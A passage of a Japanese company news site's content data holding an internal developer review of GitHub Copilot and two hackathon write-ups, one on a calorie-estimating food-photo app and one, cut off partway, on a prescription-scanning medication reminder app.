Courses",{"title":64,"searchDepth":65,"depth":65,"links":10659},[],[1388,67],"2024-05-02",{},"\u002Fja\u002Fnews\u002Fgioi-thieu-ve-cac-phuong-phap-trong-technical-writing",{"title":10549,"description":10554},"ja\u002Fnews\u002Fgioi-thieu-ve-cac-phuong-phap-trong-technical-writing","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F05\u002F02125920\u002FScreenshot-2024-05-02-125848.png","JI-8aUY4FtfLgUzHzWBYL8aKWdofyYkrYCRMXWYIWxs",{"id":10669,"title":10670,"body":10671,"category":1388,"created by":68,"date":10852,"description":10853,"extension":71,"meta":10854,"navigation":73,"path":10855,"sections":75,"seo":10856,"stem":10857,"thumbnail":10858,"__hash__":10859},"content_ja\u002Fja\u002Fnews\u002Fgithub-copilot-review.md","GitHub Copilot 社内レビュー",{"type":8,"value":10672,"toc":10841},[10673,10676,10679,10682,10686,10689,10692,10695,10698,10702,10705,10708,10711,10719,10723,10737,10740,10745,10749,10754,10758,10766,10769,10789,10792,10795,10798,10801,10804,10808,10811,10814,10821,10824,10830,10834],[11,10674,10675],{},"ChatGPTのサービスが開始されて以降、様々な業種、様々な業務でAIを使用した効率改善、品質改善がより盛んに行われています。",[11,10677,10678],{},"弊社でも機密情報を漏らさないためいくつかの制約はありますが、業務でAIを使ったサービスを利用する機会が増えています。",[11,10680,10681],{},"そこで今回WEBアプリケーション開発の業務の改善につながるか、10名ほどの開発者にGitHub Copilotを使用してもらい、弊社なりの見解をお知らせしたいと思います。",[495,10683,10685],{"id":10684},"github-copilotとは","GitHub Copilotとは",[11,10687,10688],{},"GitHub と OpenAI によって開発された AI 搭載のコード補完ツールです。Visual Studio Code、Visual Studio、Neovim、JetBrains などのエディターと統合されており、リアルタイムでコードの自動補完や提案を提供してくれます。",[11,10690,10691],{},"10 億行を超えるコードのデータセットでトレーニングされています。このデータセットには、オープンソース プロジェクト、企業コードベース、および個人のコードが含まれます。 GitHub Copilot は、このデータセットを使用して、ユーザーが入力しているコードと一致するコードを生成します。 Codexは、GPT-3 言語モデルの派生品で、GPT-3の機能のいくつかを継承していると言われていますが、正式にはGPTバージョンを公開していないようです。(Google Bard調べ)",[495,10693,10694],{"id":10694},"使用前の注意点",[11,10696,10697],{},"機密情報漏洩を防ぐ、著作権の違反をしないために下記の設定を行なっています。 GitHub CopilotのBusinessのサブスクリプションならばGitHubの組織の配下のアカウントにこの設定を共有できます。また、サブスクリプションを与えたい人を選ぶことも可能です。それは組織配下全員の費用を払う必要がないということです。(2023年6月時点)",[530,10699],{"className":10700,"alt":64,"src":10701,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F28135036\u002Fgithub-copilot-securitysetting-768x477.png",[495,10703,10704],{"id":10704},"レビュー",[11,10706,10707],{},"いくつかのプロジェクト及び調査のためのサンプルプログラムの開発で使ってみて良い点と改善した方が良い点（改善点）を記載します。 こちらは2年 - 10年の開発経験があり、最低でもNodejs\u002FPHP\u002FJavascriptのうちどれか2つ以上使用でき、一人で開発を進められる10名ほどの開発者が使用した結果から評価をしたものです。",[660,10709,10710],{"id":10710},"良い点",[31,10712,10713,10716],{},[34,10714,10715],{},"コンテキストを理解して、提案をしてくれる。特定のモデルに入っている特定の値を取得する際に、既存プログラムを理解してキー名、フィールド名が入った状態で構文の提案を出してくれる。",[34,10717,10718],{},"NodeJSのSenior以上の開発者が、不慣れなPythonで開発を行い、Control + Enterで提案されたものがわかりやすく、それが適切で役に立った。",[530,10720],{"className":10721,"alt":64,"src":10722,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F28135445\u002Fsuggestion-python-code-1024x447.png",[31,10724,10725,10728,10731,10734],{},[34,10726,10727],{},"1つのプログラミング言語の経験があれば、異なる言語に挑戦するときに選択するものが正しいかどうかある程度判断できるため、作業効率改善につながる。",[34,10729,10730],{},"ベトナム語、英語や日本語以外でもサポートしている。",[34,10732,10733],{},"Copilotを入れることで、VS codeとしてのコード補完がわかりやすくなった時もある。",[34,10735,10736],{},"提案を選択した時に、既存のプログラムのfunction名や関数名を使用してくれるため、実装時間が減る。",[660,10738,10739],{"id":10739},"改善点",[31,10741,10742],{},[34,10743,10744],{},"Javascriptの簡単な質問を適切に返してくれない時があった。",[530,10746],{"className":10747,"alt":64,"src":10748,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F28140105\u002Fask-copilot-1-1024x225.png",[31,10750,10751],{},[34,10752,10753],{},"存在しない構文の提案をしてくることがある。",[530,10755],{"className":10756,"alt":64,"src":10757,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F28152141\u002Fwrong-context-suggestion-768x499.png",[31,10759,10760,10763],{},[34,10761,10762],{},"Copilotに質問やプログラムの提案を受けたい時に、メッセージを送ってから返信を受けるまでに時間がかかることがある。または何も返ってこない時があり、無駄な時間を過ごすことがある。",[34,10764,10765],{},"ChatGPTほど言語理解がよくなく、ある程度プロンプトを理解していないと期待していたものとは違うものが返ってくることがある。",[660,10767,10768],{"id":10768},"総括",[31,10770,10771,10774,10777,10780,10783,10786],{},[34,10772,10773],{},"コード補完のアップグレードのようなイメージで、ゲームチェンジャーとはなりえない。",[34,10775,10776],{},"書いてあるプログラムで適切そうなものを提案してくれるだけで、言葉で書かれた仕様を理解して解決となるプログラムを現行のプログラムに完全に合う形で出してくれるわけではない。",[34,10778,10779],{},"言語理解がよくなく気軽にナビが受けづらく、ナビゲーターとしての役割は不十分でペアプログラミング感はない。",[34,10781,10782],{},"開発経験があり、新しい言語の開発をするときには有益で5 - 10%ほど作業が減る。",[34,10784,10785],{},"開発経験があり、使い慣れている言語だと既存のコード補完機能で十分なため、0 - 5%程度のコーディング作業の削減につながる。",[34,10787,10788],{},"Copilotを経験した50%ほどの開発者は継続して使用したい。",[11,10790,10791],{},"AIから提案を受けた後、既存プログラムや動作が正しいかを確認する必要があります。 開発未経験者が使用すると何となくできていそうなプログラムを作成することができると思われます。ただし、開発を行うアプリケーションの仕様を適切に理解して、適切にCopilotに質問をして、適切なものを選ぶ必要があります。アプリケーションの品質が保てるようなプログラムで開発するのは難しいと感じています。",[11,10793,10794],{},"2年以上の開発経験があり、いくつかのプロジェクトで結果を残している開発者の場合、慣れているプログラミング言語やフレームワークだと既存のコード補完で十分であり、Copilotへの質問のためタイピングすることや、返信を受けるレスポンスタイムに時間がかかり、逆に弊害になることがあるようです。",[11,10796,10797],{},"開発経験があり、１つ以上精通しているプログラミング言語がある開発者が、他のプログラミング言語を使って開発する場合は、有益かもしれません。 それは、その開発者が開発するアプリケーションの適切な仕様を理解することができ、Copilotへ要求や質問を適切にでき、Copilotからの提案を受けたものを動かしたり、その言語のリファレンスを確認して問題ないことが判断できるためです。",[11,10799,10800],{},"AIを使った開発では、ChatGPTからラフで大枠のプログラムを入手し、GitHub Copilotを用いながら既存のプログラムや仕様に合うように細々修正していき、テストコードも組み合わせてプログラミングを完成していくようなイメージを持っていました。ただ、今のGitHub Copilotはコード補完が少しアップグレードされた程度の印象しかなく、まだまだ提案されるプログラムの改善や、使い勝手など課題が多くあると思われます。",[11,10802,10803],{},"1ヶ月ほど使用した結果として、大体コーディング作業時間を0 - 5%ほど削減できれば良い方と答えた開発者が約半分ほどでした。また同様に約半分ほどが継続してCopilotを使用しないからこのサブスクリプションは不要と連絡がありました。会社ではコーディングの作業時間の予測と実績を記録していますが、使用前と使用後で大きな時間の変化はないため、印象と実績は正しいと判断しています。 開発者の業務はコーディングだけではないので、開発者の1ヶ月の作業が0 - 5%も下がるわけでもなく、画期的に開発コストが下がるという結果は得られませんでした。 あまり役に立たないと考えた開発者が50%ほどいたことから、今のままではCopilotはデファクトスタンダードにはならないと感じています。 ただ、CodeyなどAI code assistantの新しいサービスの開発が行われており競い合っていると思われます。そのため改善が行われていき、近い将来、人とペアプログラミングをしているような感覚で適切なAIのナビを受けながらコーディングを行う日がもうすぐ来るかもしれません。",[495,10805,10807],{"id":10806},"残念なことおまけ","残念なこと(おまけ)",[11,10809,10810],{},"GitHub Copilotの使い方を質問したところ、youtubeのページのURLが送られてきますが、アクセスするとページがありません。 また、どうやってヘルプを受けられるのかと質問をすると、GithubのcopilotのdocのどこかのページのURLが送られてきますが、404エラーになります。 特定のアプリケーションでhelpコマンドを用いて、実行したいコマンドの機能を理解をするというのは開発者にとってはよくあることですが、そういうことを想定されていないよう結果になっています。",[11,10812,10813],{},"​​\u002F\u002F q: how to use the Github copilot?",[11,10815,10816,10817],{},"\u002F\u002F a: ",[57,10818,10819],{"href":10819,"rel":10820},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=Qp9T9Zj9jv8",[61],[11,10822,10823],{},"\u002F\u002F q: how to get help from Github copilot?",[11,10825,10816,10826],{},[57,10827,10828],{"href":10828,"rel":10829},"https:\u002F\u002Fcopilot.github.com\u002Fdocs\u002Fget-help\u002F",[61],[495,10831,10833],{"id":10832},"refer-to","Refer to",[11,10835,10836],{},[57,10837,10840],{"href":10838,"rel":10839,"title":10840},"https:\u002F\u002Fgithub.com\u002Ffeatures\u002Fcopilot",[61],"GitHub Copilot · Your AI pair programmer",{"title":64,"searchDepth":65,"depth":65,"links":10842},[10843,10844,10845,10850,10851],{"id":10684,"depth":65,"text":10685},{"id":10694,"depth":65,"text":10694},{"id":10704,"depth":65,"text":10704,"children":10846},[10847,10848,10849],{"id":10710,"depth":1375,"text":10710},{"id":10739,"depth":1375,"text":10739},{"id":10768,"depth":1375,"text":10768},{"id":10806,"depth":65,"text":10807},{"id":10832,"depth":65,"text":10833},"2023-07-25","ChatGPTのサービスが開始されて以降、様々な業種、様々な業務でAIを使用した効率改善、品質改善がより盛んに行われています。弊社でも機密情報を漏らさないためいくつかの制約はありますが、業務でAIを使ったサービスを利用する機会が増えています。",{},"\u002Fja\u002Fnews\u002Fgithub-copilot-review",{"title":10670,"description":10853},"ja\u002Fnews\u002Fgithub-copilot-review","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F28151329\u002Fcopilot.png","1dK4xsZ3HhUt4icfIQI3C6XhD8FbflMoF_Ckfitbqzo",{"id":10861,"title":10862,"body":10863,"category":11122,"created by":11123,"date":11124,"description":11125,"extension":71,"meta":11126,"navigation":73,"path":11127,"sections":75,"seo":11128,"stem":11129,"thumbnail":11130,"__hash__":11131},"content_ja\u002Fja\u002Fnews\u002Fhackathon-calories-showing-app-giup-kiem-tra-calories-tu-hinh-anh-thuc-an.md","[Hackathon] Calories Showing  ー 食品写真からカロリー量を確認するアプリ",{"type":8,"value":10864,"toc":11115},[10865,10868,10881,10884,10887,10890,10901,10904,10915,10918,10921,10925,10932,10936,10939,10942,10947,10950,10953,10961,10964,10967,10971,10974,10977,10985,10992,10996,10999,11002,11009,11012,11019,11022,11026,11029,11032,11040,11043,11047,11061,11068,11071,11074,11081,11084,11087,11090,11095,11100,11106,11109],[487,10866,10867],{"id":10867},"前置き",[10869,10870,10872,10876,10877,1821],"h5",{"id":10871},"httpswwwworldbankorgennewsinfographic20200129the-crippling-costs-of-obesity",[530,10873],{"className":10874,"alt":64,"src":10875,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085001\u002Fobesity_info.jpg"," (",[57,10878,10879],{"href":10879,"rel":10880},"https:\u002F\u002Fwww.worldbank.org\u002Fen\u002Fnews\u002Finfographic\u002F2020\u002F01\u002F29\u002Fthe-crippling-costs-of-obesity",[61],[11,10882,10883],{},"現在、世界では栄養失調と過体重 (肥満）という2つの栄養問題を同時に直面しています。その中で、肥満人の率は急速に増加しています。",[11,10885,10886],{},"最近の統計により、1975年以来、肥満人は3倍になり、世界中で毎年約400万人が死亡しています。",[11,10888,10889],{},"2016年には、世界中で20億人以上 (44%) の大人が過体重または肥満でした。",[10869,10891,10893,10876,10897,1821],{"id":10892},"httpswwwazumiocomblognutritionhealthy-eating-101-food-journaling",[530,10894],{"className":10895,"alt":64,"src":10896,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085136\u002Ffood_journalling.jpg",[57,10898,10899],{"href":10899,"rel":10900},"https:\u002F\u002Fwww.azumio.com\u002Fblog\u002Fnutrition\u002Fhealthy-eating-101-food-journaling",[61],[11,10902,10903],{},"過体重の人は体にカロリーがたくさん摂取していますが、低体重の人は体体を維持するカロリーを十分に摂取していません。したがって、栄養士は、私たちがカロリ量ーをコントロールするために毎日のカロリーインとカロリーアウトの計画を立て、それによって栄養失調または過体重　（肥満）を改善し、健康な体を持っています.",[10869,10905,10907,10876,10911,1821],{"id":10906},"httpsatlasbiomedcomblogbest-food-diary-guide-2020",[530,10908],{"className":10909,"alt":64,"src":10910,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085234\u002Ffood_diary-1024x589.png",[57,10912,10913],{"href":10913,"rel":10914},"https:\u002F\u002Fatlasbiomed.com\u002Fblog\u002Fbest-food-diary-guide-2020\u002F",[61],[11,10916,10917],{},"現在、技術の急速な発展、特に AI (人工知能) で、この技術を日常生活に適用することは避けられない傾向です。そして、この技術を【Fitness\u002FHealthcare】に応用することも例外ではありません。",[11,10919,10920],{},"上記を基づいて、私たちのチームが「Calories Showing」アプリを開発するイデアを出しました。このアプリの主な機能は、携帯電話のカメラで撮影した食品のカロリ量を表示しすることで摂取カロリーを調整するのに役立ちます。",[487,10922,10924],{"id":10923},"calories-showingアプリ","Calories Showingアプリ",[660,10926,10928],{"id":10927},"利用技術",[20,10929,10930],{},[2645,10931,10927],{},[530,10933],{"className":10934,"alt":64,"src":10935,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085454\u002FCaloriesShowingFlowWithoutModel-1024x549.png",[11,10937,10938],{},"コンピューターとモバイルのデバイスの両方で使用できるように、私たちのチームは Javascript (NodeJS) の言語を使用してWebAppを構築することにしました。さらに、MySQLを使用してカロリーのデータを保存し、将来の追加機能の開発も容易にします。（ユーザー情報の保存など)",[11,10940,10941],{},"デプロイを容易にして、後で拡張しやすくするために、WebApp、MySQLに対してDocker を使用しています。",[11,10943,10944],{},[2645,10945,10946],{},"Google Cloud Vision",[11,10948,10949],{},"Google Cloud Vision API は、REST API を介して強い「pre-trained machine learning models」を提供します。開発者が、オブジェクト検出、顔認識、画像認識、分類、ラベル付け、印刷されたテキストまたはテキスト画像のテキスト抽出などの機能をアプリケーションに簡単に統合できるようにします。",[11,10951,10952],{},"今回の案件では、以下のような提供されているGoogle Cloud Vision APIの２つの機能を利用します。",[31,10954,10955,10958],{},[34,10956,10957],{},"Label Detection: カテゴリのグループで、画像内のエンティティに関する情報を検出して抽出します。",[34,10959,10960],{},"Object Localization：画像内の複数のオブジェクトを検出して抽出する",[11,10962,10963],{},"Google Cloud Visionから返された結果とデータベースから収集されたデータでユーザーは撮影された食品のカロリー量を知られます。",[11,10965,10966],{},"Google Cloud Visionの値段表",[530,10968],{"className":10969,"alt":64,"src":10970,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085636\u002FGoogleCloudVisonPricing-1024x212.png",[11,10972,10973],{},"ユーザー数が少ない小規模なプロジェクトに適します。ユーザー数が増えると支払う金額も大幅に増加します。",[11,10975,10976],{},"→　そのため、Google Cloud Visionを依存するべきではありません。替えるソリューションが必要です。 (次の部分でで説明します)。",[660,10978,10980],{"id":10979},"calories-showingアプリのインタフェースと機能",[2645,10981,10982],{},[20,10983,10984],{},"Calories Showingアプリのインタフェースと機能",[11,10986,10987,10991],{},[530,10988],{"className":10989,"alt":64,"src":10990,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09104155\u002FIMG_1926-576x1024.png"," カロリー量を分析したい画像を選択・撮影してください。",[530,10993],{"className":10994,"alt":64,"src":10995,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09104305\u002FIMG_1927-576x1024.png",[11,10997,10998],{},"AIは選択・撮影された画像から食品を検出します。 ",[11,11000,11001],{},"また、検出できない食品を手で入力する機能もあります。",[11,11003,11004,11008],{},[530,11005],{"className":11006,"alt":64,"src":11007,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09104414\u002FIMG_1928-576x1024.png"," そのあと、それぞれの食品のカロリー量が表示されます。",[487,11010,11011],{"id":11011},"未解決の問題と将来の開発方向",[660,11013,11015],{"id":11014},"低精度",[2645,11016,11017],{},[20,11018,11014],{},[11,11020,11021],{},"Google Vision Detect のデータセットは広いですが、食品については詳細ではないため、精度は低くなります。",[530,11023],{"className":11024,"alt":64,"src":11025,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085802\u002Flow_precision-1024x519.png",[11,11027,11028],{},"例えば：上記の画像がキウィですが、Google Cloud Visionから返却された結果はFruit又はFoodになってしまいました。",[11,11030,11031],{},"精度を向上させるために、次の解決方法があります。",[31,11033,11034,11037],{},[34,11035,11036],{},"Google Cloud Vision をFoodAI、LogMeal API などの食品分析のAI API のサービスに置き換えます。利点はGoogle Cloud Visionと同様の使いやすいが精度は高いです。欠点は価格が高くてAPIプロバイダーに依存されるため他の料理の新しいtrainingデータを追加できないことです。",[34,11038,11039],{},"食品のDeep Learning modelを独自に構築してtrainingします。 利点は高精度であり、必要に応じて料理の新しいtrainingデータを手動で追加できます。欠点はモデルを調査するのに時間がかかって、高い精度を得るには十分な大きさのデータセット (ラベル付きの画像) が必要です。",[11,11041,11042],{},"=>検討の後、以下のような解決策を選択することにしました。Google Cloud Vision を使用することと並行して、食品のDeep Learning model (Python、Tensorflow) を独自に構築してtrainingすることです。",[530,11044],{"className":11045,"alt":64,"src":11046,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085845\u002FCaloriesShowingFlow-1024x549.png",[31,11048,11049,11052,11055,11058],{},[34,11050,11051],{},"Google Cloud Vision API の料金の一部を減らします。",[34,11053,11054],{},"自作モデルの初期の限界を克服するには、データセットが小さく、最適なモデルが見つかっていないため、精度が高くありません。",[34,11056,11057],{},"Deep Learning modelの構築の部分を別の部分に分けて、アプリの追加機能の構築に影響を与えないようにします。",[34,11059,11060],{},"自作のDeep Learning modelが目的の精度を達成したら、プロジェクト フローからGoogle Cloud Vision を削除します。",[660,11062,11064],{"id":11063},"データベースに応じてカロリー数を決定する",[2645,11065,11066],{},[20,11067,11063],{},[11,11069,11070],{},"食品がデータベースにない場合、その食品を選択する方はありません (手動入力でもできません)。",[11,11072,11073],{},"解決策: 検出されない場合は、アップロードされた画像をアプリのデータベースに追加したいかどうかをユーザーに聞くダイアログを表示します => ユーザーが同意した場合は、画像をストレージで保存します。その画像からカロリーの情報を調査調査してデータベースに保存し、データセットを収集してDeep Learning modelをtrainingします。",[660,11075,11077],{"id":11076},"将来の開発方向",[2645,11078,11079],{},[20,11080,11076],{},[11,11082,11083],{},"1\u002F 完全なアプリになるために機能を追加で展開します。 将来の追加機能は登録、ログイン、1日に必要なカロリー量の計算、カロリー不足\u002F過負荷の警告、減量\u002F増量計画、...",[11,11085,11086],{},"2\u002F AIの精度、Deep Learning modelを構築および最適化することを改善します。",[11,11088,11089],{},"そのため、私たちのグループは2つの小さなグループに分けられます。 アプリの機能の開発を担当するチームとDeep Learning modelの構築と最適化を担当するチームです。",[487,11091,11093],{"id":11092},"参照資料",[20,11094,11092],{},[11,11096,11097],{},[57,11098,10879],{"href":10879,"rel":11099},[61],[11,11101,11102],{},[57,11103,11104],{"href":11104,"rel":11105},"https:\u002F\u002Fcloud.google.com\u002Fvision",[61],[487,11107,11108],{"id":11108},"プレゼンテーション",[11,11110,11111],{},[57,11112,11113],{"href":11113,"rel":11114},"https:\u002F\u002Fdocs.google.com\u002Fpresentation\u002Fd\u002F1F0p0vCxMiBaihVrDw84mTekzyq9bF2fz\u002Fedit?usp=sharing&ouid=103973922645801568163&rtpof=true&sd=true",[61],{"title":64,"searchDepth":65,"depth":65,"links":11116},[11117,11118,11119,11120,11121],{"id":10927,"depth":1375,"text":10927},{"id":10979,"depth":1375,"text":10984},{"id":11014,"depth":1375,"text":11014},{"id":11063,"depth":1375,"text":11063},{"id":11076,"depth":1375,"text":11076},[6724,1387],"NGHIA NGHUYEN TRUNG","2023-03-22","現在、世界では栄養失調と過体重 (肥満）という2つの栄養問題を同時に直面しています。その中で、肥満人の率は急速に増加しています。最近の統計により、1975年以来、肥満人は3倍になり、世界中で毎年約400万人が死亡しています。2016年には、世界中で20億人以上 (44%) の大人が過体重または肥満でした。",{},"\u002Fja\u002Fnews\u002Fhackathon-calories-showing-app-giup-kiem-tra-calories-tu-hinh-anh-thuc-an",{"title":10862,"description":11125},"ja\u002Fnews\u002Fhackathon-calories-showing-app-giup-kiem-tra-calories-tu-hinh-anh-thuc-an","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F20143340\u002Fcalories_showing_featured_image.png","YoLj2k_94JoqHg1_8e8F82vbaia4bGS9SqN02nVIF4Y",{"id":11133,"title":11134,"body":11135,"category":11643,"created by":68,"date":11644,"description":11139,"extension":71,"meta":11645,"navigation":73,"path":11646,"sections":75,"seo":11647,"stem":11648,"thumbnail":11649,"__hash__":11650},"content_ja\u002Fja\u002Fnews\u002Fhackathon-team3.md","[Hackathon] Easy Medicine アプリの紹介 - Team Healthy Healthier",{"type":8,"value":11136,"toc":11631},[11137,11140,11145,11209,11213,11216,11219,11236,11242,11246,11249,11252,11255,11258,11275,11279,11282,11286,11289,11303,11312,11323,11329,11333,11336,11340,11343,11351,11359,11370,11376,11380,11383,11387,11390,11394,11397,11403,11406,11427,11430,11433,11436,11459,11464,11495,11501,11505,11511,11516,11527,11532,11549,11553,11573,11577,11580,11594,11598,11604,11608],[11,11138,11139],{},"現在、日常生活の動作をよりシンプルかつ効率的にするために多くのアプリが作成されています。その色々なアプリの中で最も競争力のある機能の 1 つは自動化です。ということは、人間は最小限の動作のみを行い、残りはアプリケーションに任せます。人工知能 - AI が普及してから、これらの動作の自動化がより可能になり、同時に、アプリケーションに多くの新機能を取り入れることができています。EasyMedicine も AI テクノロジに基づいて作成されたアプリケーションであり、服用管理の自動化に役立ちます。",[11,11141,11142],{},[20,11143,11144],{},"目次",[199,11146,11147,11153,11159,11165,11171,11177,11183,11189,11195,11201],{},[34,11148,11149],{},[57,11150,11152],{"href":11151},"#section-1","EasyMedicine はどのような問題を解決しますか?",[34,11154,11155],{},[57,11156,11158],{"href":11157},"#section-2","AI はどのような問題を解決しますか?",[34,11160,11161],{},[57,11162,11164],{"href":11163},"#section-3","Google Cloud Vision APIの紹介",[34,11166,11167],{},[57,11168,11170],{"href":11169},"#section-4","AWS Comprehend Medicalの紹介",[34,11172,11173],{},[57,11174,11176],{"href":11175},"#section-5","システムの構成",[34,11178,11179],{},[57,11180,11182],{"href":11181},"#section-6","アプリのデモ",[34,11184,11185],{},[57,11186,11188],{"href":11187},"#section-7","将来に開発したい機能",[34,11190,11191],{},[57,11192,11194],{"href":11193},"#section-8","今度の欠点",[34,11196,11197],{},[57,11198,11200],{"href":11199},"#section-9","最後の言葉",[34,11202,11203,11206],{},[57,11204,5465],{"href":11205},"#section-10",[57,11207],{"id":11208},"section-1",[660,11210,11212],{"id":11211},"_1-easymedicine-はどのような問題を解決しますか","#1. EasyMedicine はどのような問題を解決しますか?",[11,11214,11215],{},"あなたが健康な人なら、なぜ服用管理アプリが必要なのか納得できていないかもしれません。しかし、あなたがさまざまな病気に苦しんでいる状況になることを考えたら、服用をうまく管理し、よく時間通りに薬を飲むことができたとしても、それはかなり難しいことと言えるのではないでしょうか。一方で、それはアプリで完全にコントロールできるため、服用の時間を気にせず、仕事などの他のことに集中できます。問題を明確に強調する特定の状況の例をあげましょう。例えば、病気になっている家族のメンバーの世話をしている私たちのお母さんです。もし、お母さんがアプリを使えば簡単に服用時間を管理して家族の世話をすることがうまくできるのではないでしょうか。また、私たちは薬を飲むのを忘れることもあります。特に病気が回復しているときは、薬を飲まなくてもいいという気持ちもよくあります。その結果、私たちの健康に悪影響を及ぼす恐れにつながりはずです。",[11,11217,11218],{},"具体的には、次の問題を解決するためのツールが必要です：",[31,11220,11221,11224,11227,11230,11233],{},[34,11222,11223],{},"今日は何時に薬を、どの薬を、どれくらい薬を飲むべきですか？",[34,11225,11226],{},"薬の飲み忘れを防ぐには何かの方法がありますか？薬の服用をリマインドするツールはありますか?",[34,11228,11229],{},"今日服用した、服用していない、または服用するのを忘れた薬がありますか?",[34,11231,11232],{},"どのくらいの期間薬を服用する必要があり、あと何錠を飲む必要がありますか?",[34,11234,11235],{},"薬の情報を後で調べて再利用したい場合、薬の情報を保存するツールはありますか?",[11,11237,11238,11239],{},"以上の問題を解決したいから、EasyMedicine アプリを作成しました。\n",[57,11240],{"id":11241},"section-2",[660,11243,11245],{"id":11244},"_2-ai-はどのような問題を解決しますか","#2. AI はどのような問題を解決しますか?",[11,11247,11248],{},"以上の分析された問題に基づいて、時間通りに薬を飲むように監視およびリマインドするなど、服用を管理するのに役立つアプリケーションを完全に想像できましたでしょうか？",[11,11250,11251],{},"そして、すべての動作をできるだけ簡単かつ迅速に実行できるようにいくつかのステップを自動化する必要があります。それは、服用する薬のリストを作成し、それらを服用するリマインド時間を設定することです。",[11,11253,11254],{},"具体的には、ユーザーが処方箋の写真を撮ると、処方箋がスキャンされ、服用する薬のリスト (特定の投与量情報も含まれる) が生成されます。同時に、薬を服用するためのスケジュールも自動的に立てられます。",[11,11256,11257],{},"このように、1回の写真を撮る操作ですべてのことが完了しました。そのため、AI テクノロジーはそれを可能にするツールとなります。具体的には：",[31,11259,11260,11266],{},[34,11261,11262,11265],{},[20,11263,11264],{},"Computer Vision:"," （コンピューター ビジョン）フレーム内のオブジェクトを抽出できるようにする AI テクノロジです。この場合は、ユーザーが撮影した画像から処方箋の生のテキストを抽出する必要があります。 Google Cloud Vision API は、これに使用されるツールです。",[34,11267,11268,11271,11272],{},[20,11269,11270],{},"Natural Language Processing:"," 人工知能の分野として、この技術は、コンピューターがテキスト コンテンツを考えて理解できるようにすることに重点を置いています。これは、多くの抽象的な (構造化されていない) データに関連するため、難しい作業です。 AI処理が必要な主な対象は処方箋だからです。そのため、選択した AI は医療データを使用して作成される必要があります。したがって、AWS Comprehend Medical はこの場合に適したサービスです。\n",[57,11273],{"id":11274},"section-3",[660,11276,11278],{"id":11277},"_3-google-cloud-vision-apiの紹介","#3. Google Cloud Vision APIの紹介",[11,11280,11281],{},"これはGoogle が提供する API です。その利点は、高い処理速度と精度、使いやすさがあり、膨大な量の画像データで作成されました。画像からテキストを抽出する機能については、タイプされたテキストと手書きのテキストの両方を処理でき、さまざまな言語でうまく使えます。",[530,11283],{"className":11284,"alt":64,"src":11285,"style":601},[533,534],"https:\u002F\u002Fcloud.google.com\u002Fstatic\u002Fvision\u002Fdocs\u002Fimages\u002Fsign_text.png",[11,11287,11288],{},"Google がこのサービスをホストする地域：",[31,11290,11291,11297],{},[34,11292,11293,11296],{},[703,11294,11295],{},"us",": アメリカのみ",[34,11298,11299,11302],{},[703,11300,11301],{},"eu",": 欧州連合",[11,11304,11305,11306,11311],{},"サービス メンテナンス コスト (",[57,11307,11310],{"href":11308,"rel":11309},"https:\u002F\u002Fcloud.google.com\u002Fvision\u002Fpricing",[61],"Pricing - Cloud Vision API","):",[31,11313,11314,11317,11320],{},[34,11315,11316],{},"Google は、処理された画像の数に基づいて月額費用を請求します。 1枚の画像を1枚としてカウントします。",[34,11318,11319],{},"単位数により費用が異なります。しかし、EasyMedicine アプリに対しては、5,000,000 単位未満で扱います。このぐらいでは、1000 単位あたり 1.5 USDの費用がかかります。",[34,11321,11322],{},"たとえば、アプリケーションが毎月 10000 枚の画像を処理する場合、15 USDの費用がかかります。",[11,11324,11325,11326],{},"1.5USD\u002F1000単位の費用で、かなり高いと言えます。将来、より良い価格のサービスが見つかることを願っています。サービスが別の地域にあり、費用が安くなる可能性があります。\n",[57,11327],{"id":11328},"section-4",[660,11330,11332],{"id":11331},"_4-aws-comprehend-medicalの紹介","#4. AWS Comprehend Medicalの紹介",[11,11334,11335],{},"この API は、AWS (Amazon Web Service) NLP (自然言語処理) の AI 